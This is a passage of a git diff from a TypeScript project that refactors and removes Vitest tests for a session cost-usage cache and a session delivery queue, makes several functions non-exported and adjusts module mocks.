"utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache({ sessionFiles: [sessionFile] }); - const summary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-session-untimestamped", - sessionFile, - requestRefresh: false, - }); - - expect(summary.cacheStatus.status).toBe("fresh"); - expect(summary.summary?.totalTokens).toBe(30); - expect(summary.summary?.totalCost).toBeCloseTo(0.03, 5); - expect(summary.summary?.messageCounts?.assistant).toBe(1); - expect(summary.summary?.dailyBreakdown).toEqual([]); - expect(summary.summary?.modelUsage?.[0]?.model).toBe("gpt-5.5"); - }); - }); - - it("rebuilds missing session summaries synchronously when requested", async () => { - const root = await makeSessionCostRoot("cost-cache-session-sync"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-session-sync.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - const summary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-session-sync", - sessionFile, - refreshMode: "sync-when-empty", - }); - - expect(summary.summary?.totalTokens).toBe(30); - expect(summary.summary?.totalCost).toBeCloseTo(0.03, 5); - expect(summary.cacheStatus.status).toBe("fresh"); - }); - }); - - it("preserves offset-aware synchronous fallback for aggregate-only cache entries", async () => { - const root = await makeSessionCostRoot("cost-cache-session-sync-offset"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-session-sync-offset.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T00:30:00.000Z", - message: { - role: "assistant", - usage: { - input: 10, - output: 20, - totalTokens: 30, - cost: { total: 0.03 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - const summary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-session-sync-offset", - sessionFile, - startMs: Date.UTC(2026, 1, 4, 2), - endMs: Date.UTC(2026, 1, 5, 1, 59, 59, 999), - dayBucket: { mode: "utc-offset", utcOffsetMinutes: -120 }, - requestRefresh: false, - refreshMode: "sync-when-empty", - }); - - expect(summary.summary?.totalTokens).toBe(30); - expect(summary.summary?.dailyBreakdown).toEqual([ - { date: "2026-02-04", tokens: 30, cost: 0.03 }, - ]); - expect(summary.cacheStatus.status).toBe("partial"); - }); - }); - - it("limits session summary refreshes to requested files", async () => { - const root = await makeSessionCostRoot("cost-cache-session-requested-files"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-session-requested.jsonl"); - const otherSessionFile = path.join(sessionsDir, "sess-cache-session-other.jsonl"); - const entry = (timestamp: string, totalTokens: number) => ({ - type: "message", - timestamp, - message: { - role: "assistant", - usage: { - input: totalTokens, - output: 0, - totalTokens, - cost: { total: totalTokens / 1000 }, - }, - }, - }); - - await Promise.all([ - fs.writeFile(sessionFile, JSON.stringify(entry("2026-02-05T12:00:00.000Z", 10)), "utf-8"), - fs.writeFile( - otherSessionFile, - JSON.stringify(entry("2026-02-05T12:01:00.000Z", 20)), - "utf-8", - ), - ]); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - await refreshCostUsageCache({ sessionFiles: [sessionFile] }); - const cache = readUsageCostCache<{ - files: Record; - }>(); - - expect(cache.files[sessionFile]).toHaveProperty("sessionSummary"); - expect(cache.files[otherSessionFile]?.sessionSummary).toBeUndefined(); - }); - }); - - it("respects live usage cache locks even when they are old", async () => { - const root = await makeSessionCostRoot("cost-cache-stale-lock"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-stale-lock.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 5, - output: 5, - totalTokens: 10, - cost: { total: 0.01 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - sessionCostUsageCacheTestApi.writeRefreshLock(undefined, { - pid: process.pid, - startedAt: Date.now() - 60 * 60 * 1000, - ownerNonce: "live-owner", - }); - - const result = await refreshCostUsageCache(); - expect(result).toBe("busy"); - expect(sessionCostUsageCacheTestApi.readRefreshLock()).toMatchObject({ pid: process.pid }); - sessionCostUsageCacheTestApi.clearRefreshLock(); - }); - }); - - it("reclaims malformed SQLite usage cache locks", async () => { - const root = await makeSessionCostRoot("cost-cache-malformed-lock-recent"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-malformed-lock-recent.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 5, - output: 5, - totalTokens: 10, - cost: { total: 0.01 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - sessionCostUsageCacheTestApi.writeMalformedRefreshLock(undefined, "{"); - const result = await refreshCostUsageCache(); - expect(result).toBe("refreshed"); - expect(sessionCostUsageCacheTestApi.readRefreshLock()).toBeNull(); - }); - }); - - it("expires abandoned usage cache locks before refreshing", async () => { - const root = await makeSessionCostRoot("cost-cache-abandoned-lock"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-abandoned-lock.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 5, - output: 5, - totalTokens: 10, - cost: { total: 0.01 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - sessionCostUsageCacheTestApi.writeRefreshLock(undefined, { - pid: 2_147_483_647, - startedAt: Date.now(), - ownerNonce: "abandoned-owner", - }); - - const result = await refreshCostUsageCache(); - expect(result).toBe("refreshed"); - await waitFor(async () => { - const warm = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - return warm.cacheStatus?.status === "fresh"; - }); - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(summary.totals.totalTokens).toBe(10); - expect(summary.cacheStatus?.status).toBe("fresh"); - }); - }); - - it("reclaims old malformed usage cache locks before refreshing", async () => { - const root = await makeSessionCostRoot("cost-cache-malformed-lock-old"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-malformed-lock-old.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 5, - output: 5, - totalTokens: 10, - cost: { total: 0.01 }, - }, - }, - }), - "utf-8", - ); - - await withStateDir(root, async () => { - sessionCostUsageCacheTestApi.writeMalformedRefreshLock(undefined, "{"); - - const result = await refreshCostUsageCache(); - expect(result).toBe("refreshed"); - await waitFor(async () => { - const warm = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - return warm.cacheStatus?.status === "fresh"; - }); - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(summary.totals.totalTokens).toBe(10); - expect(summary.cacheStatus?.status).toBe("fresh"); - }); - }); - - it("checkpoints a large SQLite cache refresh and skips writes when nothing changed", async () => { - const root = await makeSessionCostRoot("cost-cache-throttle"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - - const sessionCount = 300; // > USAGE_COST_CACHE_CHECKPOINT_FILES (256) - const baseTimestamp = "2026-02-05T12:00:00.000Z"; - const makeEntry = (totalTokens: number, timestamp: string) => - JSON.stringify({ - type: "message", - timestamp, - message: { - role: "assistant", - provider: "openai", - model: "gpt-5.4", - usage: { - input: totalTokens, - output: 0, - totalTokens, - cost: { total: totalTokens / 1000 }, - }, - }, - }); - - for (let index = 0; index < sessionCount; index += 1) { - const sessionId = `sess-throttle-${index}`; - await fs.writeFile( - path.join(sessionsDir, `${sessionId}.jsonl`), - `${JSON.stringify({ type: "session", version: 1, id: sessionId })}\n${makeEntry(1, baseTimestamp)}\n`, - "utf-8", + { interval: 1, timeout: 2_000 }, ); - } - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - const updatedAt = readUsageCostCache<{ updatedAt: number }>().updatedAt; - - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - expect(summary.totals.totalTokens).toBe(sessionCount); - expect(summary.cacheStatus?.status).toBe("fresh"); - - await refreshCostUsageCache(); - expect(readUsageCostCache<{ updatedAt: number }>().updatedAt).toBe(updatedAt); }); }); - it("batches stale session summary refreshes for the same agent", async () => { - const root = await makeSessionCostRoot("cost-cache-session-batch"); + it("loads multiple session summaries from one durable cache snapshot", async () => { + const root = await makeSessionCostRoot("cost-cache-batch"); const sessionsDir = path.join(root, "agents", "main", "sessions"); await fs.mkdir(sessionsDir, { recursive: true }); - const firstSessionFile = path.join(sessionsDir, "sess-cache-batch-a.jsonl"); - const secondSessionFile = path.join(sessionsDir, "sess-cache-batch-b.jsonl"); - const entry = (timestamp: string, totalTokens: number) => ({ - type: "message", - timestamp, - message: { - role: "assistant", - usage: { - input: totalTokens, - output: 0, - totalTokens, - cost: { total: totalTokens / 1000 }, - }, - }, - }); - - await Promise.all([ - fs.writeFile( - firstSessionFile, - JSON.stringify(entry("2026-02-05T12:00:00.000Z", 10)), - "utf-8", - ), - fs.writeFile( - secondSessionFile, - JSON.stringify(entry("2026-02-05T12:00:00.000Z", 20)), - "utf-8", - ), - ]); - - await withStateDir(root, async () => { - await refreshCostUsageCache(); - const [firstCold, secondCold] = await Promise.all([ - loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-batch-a", - sessionFile: firstSessionFile, - }), - loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-batch-b", - sessionFile: secondSessionFile, - }), - ]); - - expect(firstCold.summary).toBeNull(); - expect(secondCold.summary).toBeNull(); - - await waitFor(async () => { - const [firstWarm, secondWarm] = await Promise.all([ - loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-batch-a", - sessionFile: firstSessionFile, - requestRefresh: false, + const sessions = await Promise.all( + ["sess-a", "sess-b"].map(async (sessionId, index) => { + const sessionFile = path.join(sessionsDir, `${sessionId}.jsonl`); + await fs.writeFile( + sessionFile, + transcriptText(sessionId, { + type: "message", + timestamp: `2026-02-05T12:0${index}:00.000Z`, + message: { + role: "assistant", + provider: "openai", + model: "gpt-5.5", + usage: { input: index + 1, output: 0, totalTokens: index + 1 }, + }, }), - loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-batch-b", - sessionFile: secondSessionFile, - requestRefresh: false, - }), - ]); - return firstWarm.summary?.totalTokens === 10 && secondWarm.summary?.totalTokens === 20; - }); - }); - }); - - it("preserves full refreshes when queued with session summary refreshes", async () => { - const root = await makeSessionCostRoot("cost-cache-full-plus-session"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const firstSessionFile = path.join(sessionsDir, "sess-cache-full-plus-session-a.jsonl"); - const secondSessionFile = path.join(sessionsDir, "sess-cache-full-plus-session-b.jsonl"); - const entry = (timestamp: string, totalTokens: number) => ({ - type: "message", - timestamp, - message: { - role: "assistant", - usage: { - input: totalTokens, - output: 0, - totalTokens, - cost: { total: totalTokens / 1000 }, - }, - }, - }); - - await Promise.all([ - fs.writeFile( - firstSessionFile, - JSON.stringify(entry("2026-02-05T12:00:00.000Z", 10)), - "utf-8", - ), - fs.writeFile( - secondSessionFile, - JSON.stringify(entry("2026-02-05T12:01:00.000Z", 20)), - "utf-8", - ), - ]); - - await withStateDir(root, async () => { - requestCostUsageCacheRefresh(); - requestCostUsageCacheRefresh({ sessionFiles: [firstSessionFile] }); - - await waitFor(async () => { - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 1, 5), - endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, - requestRefresh: false, - }); - const sessionSummary = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-full-plus-session-a", - sessionFile: firstSessionFile, - requestRefresh: false, - }); - return ( - summary.cacheStatus?.status === "fresh" && sessionSummary.summary?.totalTokens === 10 + "utf-8", ); - }); - - const cache = readUsageCostCache<{ - files: Record; - }>(); - expect(cache.files).toHaveProperty(firstSessionFile); - expect(cache.files).toHaveProperty(secondSessionFile); - expect(cache.files[firstSessionFile]).toHaveProperty("sessionSummary"); - expect(cache.files[secondSessionFile]?.sessionSummary).toBeUndefined(); - }); - }); - - it("retries queued session summary refreshes when the cache lock is busy", async () => { - const root = await makeSessionCostRoot("cost-cache-session-lock-busy"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-cache-lock-busy.jsonl"); - await fs.writeFile( - sessionFile, - JSON.stringify({ - type: "message", - timestamp: "2026-02-05T12:00:00.000Z", - message: { - role: "assistant", - usage: { - input: 10, - output: 0, - totalTokens: 10, - cost: { total: 0.01 }, - }, - }, + return { sessionId, sessionFile }; }), - "utf-8", ); - vi.useFakeTimers({ toFake: ["setTimeout", "clearTimeout"] }); - try { - await withStateDir(root, async () => { - await refreshCostUsageCache(); - sessionCostUsageCacheTestApi.writeRefreshLock(undefined, { - pid: process.pid, - startedAt: Date.now(), - ownerNonce: "queued-owner", - }); + await withStateDir(root, async () => { + const warmed = await loadCostUsageSummaryFromCache({ + startMs: Date.UTC(2026, 1, 5), + endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, + refreshMode: "sync-when-empty", + }); + expect(warmed.cacheStatus?.status).toBe("fresh"); - try { - const cold = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-lock-busy", - sessionFile, - }); - expect(cold.summary).toBeNull(); - - await vi.advanceTimersByTimeAsync(75); - const stillMissing = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-lock-busy", - sessionFile, + await loadSessionCostSummariesFromCache({ + sessions, + agentId: "main", + }); + await vi.waitFor( + async () => { + const cached = await loadSessionCostSummariesFromCache({ + sessions, + agentId: "main", requestRefresh: false, }); - expect(stillMissing.summary).toBeNull(); - } finally { - sessionCostUsageCacheTestApi.clearRefreshLock(); - } + expect(cached.cacheStatus.status).toBe("fresh"); + }, + { interval: 10, timeout: 2_000 }, + ); - await vi.waitFor( - async () => { - const warm = await loadSessionCostSummaryFromCache({ - sessionId: "sess-cache-lock-busy", - sessionFile, - requestRefresh: false, - }); - expect(warm.summary?.totalTokens).toBe(10); - }, - { - interval: 1, - timeout: 200, - }, - ); - }); - } finally { - vi.useRealTimers(); - } + const createDayFormatter = formatDatetime.createTimeZoneDayKeyFormatter; + let formatDayKeyCalls = 0; + const dayFormatterSpy = vi + .spyOn(formatDatetime, "createTimeZoneDayKeyFormatter") + .mockImplementation((timeZone) => { + const formatDayKey = createDayFormatter(timeZone); + return (date) => { + formatDayKeyCalls += 1; + return formatDayKey(date); + }; + }); + try { + const result = await loadSessionCostSummariesFromCache({ + sessions, + agentId: "main", + startMs: Date.UTC(2026, 1, 5), + endMs: Date.UTC(2026, 1, 5) + 24 * 60 * 60 * 1000 - 1, + dayBucket: { mode: "time-zone", timeZone: "Europe/Vienna" }, + requestRefresh: false, + }); + + expect(result.cacheStatus.status).toBe("fresh"); + expect(result.summaries.map((summary) => summary?.totalTokens)).toEqual([1, 2]); + expect(dayFormatterSpy).toHaveBeenCalledTimes(1); + expect(formatDayKeyCalls).toBe(2); + } finally { + dayFormatterSpy.mockRestore(); + } + }); }); it("summarizes a single session file", async () => { diff --git a/src/infra/session-cost-usage.ts b/src/infra/session-cost-usage.ts index c0ef5f8e0b67..bd4740213b6a 100644 --- a/src/infra/session-cost-usage.ts +++ b/src/infra/session-cost-usage.ts @@ -1771,7 +1771,7 @@ async function refreshCostUsageCacheForAgent(params?: { } } -export async function refreshCostUsageCache(params?: { +async function refreshCostUsageCache(params?: { config?: OpenClawConfig; agentId?: string; maxFiles?: number; @@ -1836,122 +1836,6 @@ export async function loadCostUsageSummaryFromCache(params: { }); } -export async function loadSessionCostSummaryFromCache(params: { - sessionId?: string; - sessionEntry?: SessionEntry; - sessionFile: string; - config?: OpenClawConfig; - agentId?: string; - startMs?: number; - endMs?: number; - dayBucket?: UsageDailyBucket; - requestRefresh?: boolean; - refreshMode?: "background" | "sync-when-empty"; -}): Promise<{ summary: SessionCostSummary | null; cacheStatus: UsageCacheStatus }> { - const databasePath = resolveUsageCostCacheDatabasePath(params.agentId); - const refreshKey = databasePath; - const pricingFingerprint = resolveUsageCostPricingFingerprint(params.config); - let cache = readUsageCostCache(params.agentId, pricingFingerprint, databasePath); - let file = await resolveUsageCostTranscriptFile(params.sessionFile); - let entry = cache.files[params.sessionFile]; - let stale = - !file || - !isUsageCostCacheEntryFresh({ - entry, - file, - requireSessionSummary: true, - }); - let refreshRequested = false; - if (params.requestRefresh !== false && stale) { - if (params.refreshMode === "sync-when-empty") { - const result = await refreshCostUsageCache({ - config: params.config, - agentId: params.agentId, - sessionFiles: [params.sessionFile], - }); - if (result === "refreshed") { - cache = readUsageCostCache(params.agentId, pricingFingerprint, databasePath); - file = await resolveUsageCostTranscriptFile(params.sessionFile); - entry = cache.files[params.sessionFile]; - stale = - !file || - !isUsageCostCacheEntryFresh({ - entry, - file, - requireSessionSummary: true, - }); - } else { - requestCostUsageCacheRefresh({ - config: params.config, - agentId: params.agentId, - sessionFiles: [params.sessionFile], - }); - refreshRequested = true; - } - } else { - requestCostUsageCacheRefresh({ - config: params.config, - agentId: params.agentId, - sessionFiles: [params.sessionFile], - }); - refreshRequested = true; - } - } - const refreshRunning = - usageCostRefreshes.has(refreshKey) || - isSessionCostUsageRefreshRunning(params.agentId, databasePath); - let summary = stale ? null : (entry?.sessionSummary ?? null); - // Persisted summaries use Gateway-local day keys. Explicit request calendars - // must rebuild daily projections from the cached transcript entries. - const requiresDailyRebucket = params.dayBucket !== undefined; - if ( - summary && - params.startMs !== undefined && - params.endMs !== undefined && - (requiresDailyRebucket || - !isSessionSummaryContainedInRange(summary, params.startMs, params.endMs)) - ) { - summary = entry - ? buildSessionCostSummaryFromCacheEntry({ - entry, - sessionId: params.sessionId, - sessionFile: params.sessionFile, - startMs: params.startMs, - endMs: params.endMs, - formatDayKey: createUsageDayKeyFormatter(params.dayBucket), - }) - : null; - } - if (!summary && params.refreshMode === "sync-when-empty") { - summary = await loadSessionCostSummary({ - sessionId: params.sessionId, - sessionEntry: params.sessionEntry, - sessionFile: params.sessionFile, - config: params.config, - agentId: params.agentId, - startMs: params.startMs, - endMs: params.endMs, - dayBucket: params.dayBucket, - }); - } - return { - summary, - cacheStatus: { - status: stale - ? refreshRunning || refreshRequested - ? "refreshing" - : summary - ? "partial" - : "stale" - : "fresh", - cachedFiles: stale ? 0 : 1, - pendingFiles: stale ? 1 : 0, - staleFiles: stale ? 1 : 0, - refreshedAt: cache.updatedAt || undefined, - }, - }; -} - export async function loadSessionCostSummariesFromCache(params: { sessions: Array<{ sessionId?: string; sessionFile: string }>; config?: OpenClawConfig; @@ -2045,7 +1929,7 @@ export async function loadSessionCostSummariesFromCache(params: { }; } -export function requestCostUsageCacheRefresh(params?: { +function requestCostUsageCacheRefresh(params?: { config?: OpenClawConfig; agentId?: string; sessionFiles?: string[]; diff --git a/src/infra/session-delivery-queue-recovery.ts b/src/infra/session-delivery-queue-recovery.ts index 9efae9a44dba..5a76882767ef 100644 --- a/src/infra/session-delivery-queue-recovery.ts +++ b/src/infra/session-delivery-queue-recovery.ts @@ -70,7 +70,7 @@ function resolveSessionDeliveryRecoveryDeadlineMs(maxRecoveryMs: number | undefi return resolveExpiresAtMsFromDurationMs(durationMs) ?? resolveDateTimestampMs(Date.now()); } -export function isSessionDeliveryEligibleForRetry( +function isSessionDeliveryEligibleForRetry( entry: QueuedSessionDelivery, now: number, ): { eligible: true } | { eligible: false; remainingBackoffMs: number } { diff --git a/src/infra/session-delivery-queue.recovery.test.ts b/src/infra/session-delivery-queue.recovery.test.ts index eb8c8ddd9507..75963697ad23 100644 --- a/src/infra/session-delivery-queue.recovery.test.ts +++ b/src/infra/session-delivery-queue.recovery.test.ts @@ -2,13 +2,14 @@ import { MAX_DATE_TIMESTAMP_MS } from "@openclaw/normalization-core/number-coercion"; import { describe, expect, it, vi } from "vitest"; import { withTempDir } from "../test-helpers/temp-dir.js"; -import { RECOVERY_REPLAY_SPACING_MS } from "./delivery-recovery.shared.js"; +const RECOVERY_REPLAY_SPACING_MS = 250; +import { + failSessionDelivery, + loadPendingSessionDeliveries, +} from "./session-delivery-queue-storage.js"; import { drainPendingSessionDeliveries, enqueueSessionDelivery, - failSessionDelivery, - isSessionDeliveryEligibleForRetry, - loadPendingSessionDeliveries, recoverPendingSessionDeliveries, } from "./session-delivery-queue.js"; @@ -313,39 +314,4 @@ describe("session-delivery queue recovery", () => { vi.useRealTimers(); }); - - it("uses the persisted retryCount for the first backoff tier", async () => { - vi.useFakeTimers(); - vi.setSystemTime(new Date("2026-04-23T00:00:00.000Z")); - - await withTempDir({ prefix: "openclaw-session-delivery-" }, async (tempDir) => { - const id = await enqueueSessionDelivery( - { - kind: "systemEvent", - sessionKey: "agent:main:main", - text: "retry me", - }, - tempDir, - ); - await failSessionDelivery(id, "transient failure", tempDir); - - const [failedEntry] = await loadPendingSessionDeliveries(tempDir); - if (!failedEntry) { - throw new Error("expected failed session delivery to remain pending"); - } - expect(failedEntry.retryCount).toBe(1); - - const lastAttemptAt = failedEntry.lastAttemptAt; - if (typeof lastAttemptAt !== "number") { - throw new Error("expected failed delivery attempt timestamp"); - } - const notReady = isSessionDeliveryEligibleForRetry(failedEntry, lastAttemptAt + 4_999); - expect(notReady).toEqual({ eligible: false, remainingBackoffMs: 1 }); - - const ready = isSessionDeliveryEligibleForRetry(failedEntry, lastAttemptAt + 5_000); - expect(ready).toEqual({ eligible: true }); - }); - - vi.useRealTimers(); - }); }); diff --git a/src/infra/session-delivery-queue.storage.test.ts b/src/infra/session-delivery-queue.storage.test.ts index 5b84d27b2539..3274e836a894 100644 --- a/src/infra/session-delivery-queue.storage.test.ts +++ b/src/infra/session-delivery-queue.storage.test.ts @@ -4,10 +4,10 @@ import { openOpenClawStateDatabase } from "../state/openclaw-state-db.js"; import { withTempDir } from "../test-helpers/temp-dir.js"; import { ackSessionDelivery, - enqueueSessionDelivery, failSessionDelivery, loadPendingSessionDeliveries, -} from "./session-delivery-queue.js"; +} from "./session-delivery-queue-storage.js"; +import { enqueueSessionDelivery } from "./session-delivery-queue.js"; describe("session-delivery queue storage", () => { function readSessionQueueStatus(tempDir: string, id: string): string | undefined { diff --git a/src/infra/session-delivery-queue.ts b/src/infra/session-delivery-queue.ts index 64d80e3b8303..22470d829764 100644 --- a/src/infra/session-delivery-queue.ts +++ b/src/infra/session-delivery-queue.ts @@ -1,11 +1,8 @@ // Public session delivery queue facade: storage and recovery live in split // modules, callers import the stable aggregate API from here. export { - ackSessionDelivery, enqueueSessionDelivery, - failSessionDelivery, loadPendingSessionDelivery, - loadPendingSessionDeliveries, } from "./session-delivery-queue-storage.js"; export type { QueuedSessionDelivery, @@ -14,7 +11,6 @@ export type { } from "./session-delivery-queue-storage.js"; export { drainPendingSessionDeliveries, - isSessionDeliveryEligibleForRetry, recoverPendingSessionDeliveries, } from "./session-delivery-queue-recovery.js"; export type { SessionDeliveryRecoveryLogger } from "./session-delivery-queue-recovery.js"; diff --git a/src/infra/session-maintenance-warning.test.ts b/src/infra/session-maintenance-warning.test.ts index 2e072f9de9fa..b28c2063cef6 100644 --- a/src/infra/session-maintenance-warning.test.ts +++ b/src/infra/session-maintenance-warning.test.ts @@ -1,6 +1,6 @@ // Tests session maintenance warning formatting and suppression. import { randomUUID } from "node:crypto"; -import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; type DeliveryCall = { channel?: string; @@ -29,11 +29,26 @@ vi.mock("./outbound/deliver.js", () => ({ deliverOutboundPayloads: mocks.deliverOutboundPayloads, deliverOutboundPayloadsInternal: mocks.deliverOutboundPayloads, })); +vi.mock("../agents/agent-scope.js", () => ({ + resolveSessionAgentId: mocks.resolveSessionAgentId, +})); +vi.mock("../utils/message-channel.js", () => ({ + normalizeMessageChannel: mocks.normalizeMessageChannel, + isDeliverableMessageChannel: mocks.isDeliverableMessageChannel, +})); +vi.mock("../utils/delivery-context.shared.js", () => ({ + deliveryContextFromSession: mocks.deliveryContextFromSession, +})); +vi.mock("./outbound/deliver-runtime.js", () => ({ + deliverOutboundPayloads: mocks.deliverOutboundPayloads, +})); +vi.mock("./system-events.js", () => ({ + enqueueSystemEvent: mocks.enqueueSystemEvent, +})); type SessionMaintenanceWarningModule = typeof import("./session-maintenance-warning.js"); let deliverSessionMaintenanceWarning: SessionMaintenanceWarningModule["deliverSessionMaintenanceWarning"]; -let resetSessionMaintenanceWarningForTests: SessionMaintenanceWarningModule["testing"]["resetSessionMaintenanceWarningForTests"]; function createParams( overrides: Partial[0]> = {}, @@ -75,35 +90,13 @@ describe("deliverSessionMaintenanceWarning", () => { let prevVitest: string | undefined; let prevNodeEnv: string | undefined; - beforeAll(async () => { - vi.doMock("../agents/agent-scope.js", () => ({ - resolveSessionAgentId: mocks.resolveSessionAgentId, - })); - vi.doMock("../utils/message-channel.js", () => ({ - normalizeMessageChannel: mocks.normalizeMessageChannel, - isDeliverableMessageChannel: mocks.isDeliverableMessageChannel, - })); - vi.doMock("../utils/delivery-context.shared.js", () => ({ - deliveryContextFromSession: mocks.deliveryContextFromSession, - })); - vi.doMock("./outbound/deliver-runtime.js", () => ({ - deliverOutboundPayloads: mocks.deliverOutboundPayloads, - })); - vi.doMock("./system-events.js", () => ({ - enqueueSystemEvent: mocks.enqueueSystemEvent, - })); - ({ - deliverSessionMaintenanceWarning, - testing: { resetSessionMaintenanceWarningForTests }, - } = await import("./session-maintenance-warning.js")); - }); - - beforeEach(() => { + beforeEach(async () => { + vi.resetModules(); + ({ deliverSessionMaintenanceWarning } = await import("./session-maintenance-warning.js")); prevVitest = process.env.VITEST; prevNodeEnv = process.env.NODE_ENV; delete process.env.VITEST; process.env.NODE_ENV = "development"; - resetSessionMaintenanceWarningForTests(); mocks.resolveSessionAgentId.mockClear(); mocks.deliveryContextFromSession.mockReset(); mocks.deliveryContextFromSession.mockReturnValue({ diff --git a/src/infra/session-maintenance-warning.ts b/src/infra/session-maintenance-warning.ts index cf2a0972b876..167c0eb06afc 100644 --- a/src/infra/session-maintenance-warning.ts +++ b/src/infra/session-maintenance-warning.ts @@ -40,16 +40,6 @@ const messageRuntimeLoader = createLazyPromiseLoader( () => import("../channels/message/runtime.js"), { cacheRejections: true }, ); - -function resetSessionMaintenanceWarningForTests() { - warnedContexts.clear(); - messageRuntimeLoader.clear(); -} - -export const testing = { - resetSessionMaintenanceWarningForTests, -} as const; - const loadDeliverRuntime = messageRuntimeLoader.load; function shouldSendWarning(): boolean { @@ -153,4 +143,3 @@ export async function deliverSessionMaintenanceWarning(params: WarningParams): P enqueueSystemEvent(text, { sessionKey: params.sessionKey }); } } -export { testing as __testing }; diff --git a/src/infra/shell-env.test.ts b/src/infra/shell-env.test.ts index cae9d89fd287..c48d376e49eb 100644 --- a/src/infra/shell-env.test.ts +++ b/src/infra/shell-env.test.ts @@ -2,17 +2,30 @@ import fs from "node:fs"; import os from "node:os"; import { MAX_TIMER_TIMEOUT_MS } from "@openclaw/normalization-core/number-coercion"; -import { describe, expect, it, vi } from "vitest"; -import { - clearShellEnvAppliedKeys, - getShellEnvAppliedKeys, - getShellPathFromLoginShell, - loadShellEnvFallback, - resetShellPathCacheForTests, - resolveShellEnvFallbackTimeoutMs, - shouldDeferShellEnvFallback, - shouldEnableShellEnvFallback, -} from "./shell-env.js"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +type ShellEnvModule = typeof import("./shell-env.js"); + +let clearShellEnvAppliedKeys: ShellEnvModule["clearShellEnvAppliedKeys"]; +let getShellEnvAppliedKeys: ShellEnvModule["getShellEnvAppliedKeys"]; +let getShellPathFromLoginShell: ShellEnvModule["getShellPathFromLoginShell"]; +let loadShellEnvFallback: ShellEnvModule["loadShellEnvFallback"]; +let resolveShellEnvFallbackTimeoutMs: ShellEnvModule["resolveShellEnvFallbackTimeoutMs"]; +let shouldDeferShellEnvFallback: ShellEnvModule["shouldDeferShellEnvFallback"]; +let shouldEnableShellEnvFallback: 